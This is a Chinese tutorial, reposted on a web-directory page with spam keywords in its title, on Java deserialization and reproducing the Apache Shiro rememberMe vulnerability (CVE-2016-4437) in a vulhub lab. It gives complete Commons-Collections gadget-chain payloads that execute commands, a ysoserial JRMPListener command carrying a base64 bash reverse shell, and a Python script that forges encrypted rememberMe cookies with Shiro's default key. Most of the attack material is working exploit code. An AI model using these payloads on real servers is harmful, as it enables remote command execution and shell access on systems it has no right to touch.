日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

本文首發于“合天智匯”公眾號 作者:Fortheone

看了好久的文章才開始分析調試JAVA的cc鏈,這個鏈算是java反序列化漏洞里的基礎了。分析調試的shiro也是直接使用了cc鏈。首先先了解一些java的反射機制。

一、什么是反射:

反射是Java的特征之一,是一種間接操作目標對象的機制,核心是JVM在運行的時候才動態加載類,并且對于任意一個類,都能夠知道這個類的所有屬性和方法,調用方法/訪問屬性,不需要提前在編譯期知道運行的對象是誰,他允許運行中的Java程序獲取類的信息,并且可以操作類或對象內部屬性。程序中對象的類型一般都是在編譯期就確定下來的,而當我們的程序在運行時,可能需要動態的加載一些類,這些類因為之前用不到,所以沒有加載到jvm,這時,使用Java反射機制可以在運行期動態的創建對象并調用其屬性,它是在運行時根據需要才加載。

我們可以在java加載了類進入jvm之后,獲取到這個類的實例,并且可以調用這個類的方法,參數之類的。

看一個例子

class User{
    private String name;
    private int age;


    @Override
    public String toString(){
        return "User{" + "name=" +name + ", age="+age+"}";
    }


    public String getName() {
        return name;
    }


    public void setName(String name) {
        this.name = name;
    }


    public int getAge() {
        return age;
    }


    public void setAge(int age) {
        this.age = age;
    }
}

現在定義了一個類User,這個類有各種的方法和參數。我們將這個類實例化之后,再動態調用它的方法來給它賦值。

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    User user = new User();
    Class clz = user.getClass();
    Method method = clz.getMethod("setName", String.class);
    Method method1 = clz.getMethod("setAge", int.class);
    method1.invoke(user,21);
    method.invoke(user,"fortheone");
    System.out.println(user);
}

在主方法中實現這些反射調用方法,要拋出以上三個錯誤,否則會無法執行。 所以一個反射的流程就是:先通過getClass獲取到類實例,再通過getMethod獲取到類方法,然后再利用invoke方法傳入參數進行調用。但是,在這個例子中所調用的方法都是public屬性,而在一些類中可能會存在protected或是provide屬性,需要用到setAccessible(true)這種方法來解除私有限定。

java序列化與反序列化

Java 序列化是指把 Java 對象轉換為字節序列的過程便于保存在內存、文件、數據庫中,ObjectOutputStream類的 writeObject() 方法可以實現序列化。Java 反序列化是指把字節序列恢復為 Java 對象的過程,ObjectInputStream 類的 readObject() 方法用于反序列化。 序列化與反序列化是讓 Java 對象脫離 Java 運行環境的一種手段,可以有效的實現多平臺之間的通信、對象持久化存儲。 要注意的是,只有實現了serializeable接口的類才可以進行序列化操作。

import java.io.*;


public class test1 {


    public static void main(String[] args){
        User user = new User("fortheone", 21);
        try {
            // 創建一個FIleOutputStream
            FileOutputStream fos = new FileOutputStream("./user.ser");
            // 將這個FIleOutputStream封裝到ObjectOutputStream中
            ObjectOutputStream os = new ObjectOutputStream(fos);
            // 調用writeObject方法,序列化對象到文件user.ser中
            os.writeObject(user);


            System.out.println("讀取數據:");
            //  創建一個FIleInutputStream
            FileInputStream fis = new FileInputStream("./user.ser");
            // 將FileInputStream封裝到ObjectInputStream中
            ObjectInputStream oi = new ObjectInputStream(fis);
            // 調用readObject從user.ser中反序列化出對象,還需要進行一下類型轉換,默認是Object類型
            User user1 = (User)oi.readObject();


            user1.info();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}


class User implements Serializable{
    private String name;
    private int age;


    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }


    public void info(){
        System.out.println("Name: "+name+", Age: "+age);
    }


    // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{
    //     System.out.println("[*]執行了自定義的readObject函數");
    // }
}

這是一個序列化與反序列化的演示,其中的 FileOutputStream ObjectOutputStream 是java的流處理的轉換。首先創建一個文件輸出流,然后再使用過濾流來處理,可以提供緩沖寫的作用。具體可以參見文章( https://www.cnblogs.com/shitouer/archive/2012/12/19/2823641.html)

那么在序列化與反序列化的過程中,會有一個問題,就是在反序列化的時候會自動執行類的readObject方法。如果我們在readObject中有惡意的操作,即可造成攻擊。如下圖:

java反序列化——apache-shiro復現分析

 

三、Apache-CommonsCollections 序列化RCE漏洞分析

環境準備:首先安裝idea,然后安裝maven插件,使用maven直接安裝 CommonsCollections。在pom.xml中加入

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
</dependencies>

即可安裝。安裝好以后記得要把項目jdk版本與本地jdk版本對應。參考文章( https://blog.csdn.net/qq_22076345/article/details/82392236)

出現了CommonsCollections的包就說明成功了。

漏洞分析: 在InvokeTransformer類中有這兩個方法

java反序列化——apache-shiro復現分析

 

構造方法中可以傳入三個參數,方法名,參數類型,參數。然后transform方法接收一個object對象。會對傳入的對象進行反射調用方法。但是這樣還不能執行命令,因為在java中執行命令的操作是 Runtime.getRuntime().exec(cmd)。而在這里我們一次只能傳入一個方法。

但是很巧的是 ChainedTransformer 這個類中的 transform方法可以循環執行 transform方法。并且將上一次執行的結果作為下一次的參數。

java反序列化——apache-shiro復現分析

 

這樣說可能不是很清楚,舉個例子來看看。

java反序列化——apache-shiro復現分析

 

這里要求在chainedTransformer的transform方法中傳入一個Runtime對象。但是這樣我們沒有利用到反序列化,在實際情況里也不可能給我們這樣傳參去調用。

從上面的步驟可以看到,整個鏈的起點就是 Runtime ,而我們在利用這條鏈的時候也沒有辦法通過傳參去傳入這個Runtime。

但是恰巧有這么一個類 ConstantTransformer 它的構造方法是直接放回傳入的參數,它的transform方法也是直接返回傳入的參數。那么也就是說 把Runtime.class 傳入 ConstantTransformer 作為 transformers數組的起點,通過第一次transform方法,就可以得到Runtime。后面再利用循環調用transform就可以通過反射命令執行。

java反序列化——apache-shiro復現分析

 


java反序列化——apache-shiro復現分析

 

這樣就可以通過循環調用transform方法來執行命令。現在漏洞觸發的核心已經了解清楚了,接下來就是找觸發漏洞的利用鏈。也就是如何觸發chainedTransformer的transform方法呢?

接下來有兩條鏈,一條受限于jdk版本(jdk1.7可以,8不行)

LazyMap鏈

java反序列化——apache-shiro復現分析

 

在lazymap的get方法中執行了transform方法。所以只要將factory賦值為chainedTransformer。可以直接在構造方法里賦值。

java反序列化——apache-shiro復現分析

 

所以要找到一個類可以觸發LazyMap的get方法。 而在TiedMapEntry類中有一個getValue方法可以執行get方法,且map屬性可控。

java反序列化——apache-shiro復現分析

 

且TiedMapEntry類中的tostring方法可以觸發getValue方法,java的tostring方法與php的__tostring方法一樣,在類實例被當作字符串的時候會自動執行。

java反序列化——apache-shiro復現分析

 

.png) 然后又找到 BadAttributeValueExpException 的readObject方法會觸發tostring方法

java反序列化——apache-shiro復現分析

 

.png) 所以只要把val屬性設置為 TiedMapEntry 即可。最終payload:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.io.*;


public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","asdf");


        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
        // 將lazyMap封裝到TiedMapEntry中
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
        // 通過反射給badAttributeValueExpException的val屬性賦值
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();
        // 本地模擬反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }


    }

TransformedMap利用鏈

Map類是存儲鍵值對的數據結構。 Apache Commons Collections中實現了TransformedMap ,該類可以在一個元素被添加/刪除/或是被修改時(即key或value:集合中的數據存儲形式即是一個索引對應一個值,就像身份證與人的關系那樣),會調用transform方法自動進行特定的修飾變換,具體的變換邏輯由Transformer類定義。也就是說,TransformedMap類中的數據發生改變時,可以自動對進行一些特殊的變換,比如在數據被修改時,把它改回來; 或者在數據改變時,進行一些我們提前設定好的操作。

其中的checkSetValue方法中,valueTransformer屬性調用了transform方法。所以只要將valueTransformer屬性設置為我們之前的chainedTransformer即可觸發漏洞。

java反序列化——apache-shiro復現分析

 

調用decorate方法可以實例化一個 TransformedMap 類,然后將其屬性 keyTransformer和valueTransformer設置為我們想要的值。所以現在就是要再找一個觸發checkSetValue方法的類。

java反序列化——apache-shiro復現分析

 

在AnnotationInvocationHandler類中的readObject 中執行了setValue方法。而 setValue() 函數最終會觸發 checkSetValue() 函數:

java反序列化——apache-shiro復現分析

 

而memberValues來自于構造方法,所以最終的payload為:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;




public class test {
    public static void main(String[] args) throws Exception {
        //1.客戶端構建攻擊代碼
        //此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //將transformers數組存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);


        //創建Map并綁定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //給予map數據轉化鏈
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //反射機制調用AnnotationInvocationHandler類的構造函數
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消構造函數修飾符限制
        ctor.setAccessible(true);
        //獲取AnnotationInvocationHandler類實例
        Object instance = ctor.newInstance(Retention.class, outerMap);


        //payload序列化寫入文件,模擬網絡傳輸
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);


        //2.服務端讀取文件,反序列化,模擬網絡傳輸
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        //服務端反序列化
        fin.readObject();
    }
    }

利用Ysoserial 生成payload

下載Ysoserial 然后執行 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe > payload.bin 然后把payload.bin放入項目中,對其進行反序列化

java反序列化——apache-shiro復現分析

 

漏洞環境搭建

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

直接使用Docker搭建vulhub里的shiro靶場就可以了。

啟動后

java反序列化——apache-shiro復現分析

 

登錄抓包

java反序列化——apache-shiro復現分析

 

可以在響應包中看到有 rememberMe=deleteMe的字段,這是shiro的特征。

漏洞驗證

1、直接使用xray給出的payload測試

java反序列化——apache-shiro復現分析

 

在xray的config.yaml中修改proxy為burp的監聽端口,這樣可以獲取到xray發出的流量。

java反序列化——apache-shiro復現分析

 

這里可以抓到xray發出的請求包中的payload,其中的header中還帶有Testecho,用以測試回顯。可以看到響應頭中出現了Testecho字樣。所以判斷出存在漏洞。

然后再將Testecho替換為 Testcmd 即可執行命令。

java反序列化——apache-shiro復現分析

 

但是我這臺機器在執行ifconfig命令的時候不知道為什么無法執行。

2、使用ysoserial反序列化發payload

首先要下載 ysoserial的jar包 https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

然后下載 ysoserial的源碼 https://github.com/frohoff/ysoserial.git

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "bash -c {echo,反彈shell的base64編碼}|{base64,-d}|{bash,-i}"

在7878端口監聽JRMP,等待服務端訪問。

然后使用poc.py生成payload的cookie

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
?    BS = AES.block_size
?    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
?    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
?    iv = uuid.uuid4().bytes
?    encryptor = AES.new(key, AES.MODE_CBC, iv)
?    file_body = pad(popen.stdout.read())
?    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
?    return base64_ciphertext

if __name__ == '__main__':
?    payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

Python poc.py 監聽服務器ip:端口

生成了payload之后,向服務器發送payload的cookie

java反序列化——apache-shiro復現分析

 


java反序列化——apache-shiro復現分析

 

成功獲取到shell。

一些要注意的點

1、在生成payload的時候,使用的key一般是shiro1.2.4默認的key,在實際環境下可能會有其他的key。xray中自帶了幾個其他的key值用于遍歷。

2、實際情況中默認shiro的commons-collections版本為3.2.1 而ysoserial里使用3.2.1的版本時會報錯,但是可以使用JRMP。可以多嘗試幾個 commons-collections的版本。具體還要看環境中的依賴包。

參考文章

https://www.anquanke.com/post/id/211228

  • 實驗推薦

Java反序列漏洞

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001

本實驗通過Apache Commons Collections 3為例,分析并復現JAVA反序列化漏洞。

聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關!

分享到:
標簽:序列化 java
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定